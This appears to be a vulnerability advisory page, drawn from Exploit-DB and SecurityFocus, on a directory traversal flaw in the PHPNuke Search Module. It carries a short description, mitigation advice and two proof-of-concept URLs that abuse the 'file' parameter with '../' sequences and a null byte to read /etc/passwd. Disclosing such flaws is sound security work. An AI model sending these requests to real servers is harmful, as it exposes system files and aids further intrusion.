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PHPNuke Search Module
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Unknown
5
CVSS
MEDIUM
Directory Traversal
22
CWE
Product Name: PHPNuke Search Module
Affected Version From:
Affected Version To:
Patch Exists: NO
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Platforms Tested:
2005

PHPNuke Search Module Directory Traversal Vulnerability

The PHPNuke Search Module is prone to a directory traversal vulnerability. This vulnerability occurs due to a lack of proper sanitization of user-supplied input. A remote attacker can exploit this vulnerability to view files that are only intended to be accessible to authenticated and authorized users. The attacker can use the information obtained in further attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user-supplied input and implement proper access controls to prevent unauthorized access to sensitive files.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/15137/info

PHPNuke Search Module is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

A remote attacker may view files that are only intended to be accessible to authenticated and authorized users. Information obtained may be used in further attacks. 

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../../../../../../../../../etc/passwd%00

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&phpEx=../../../.
./../../etc/passwd

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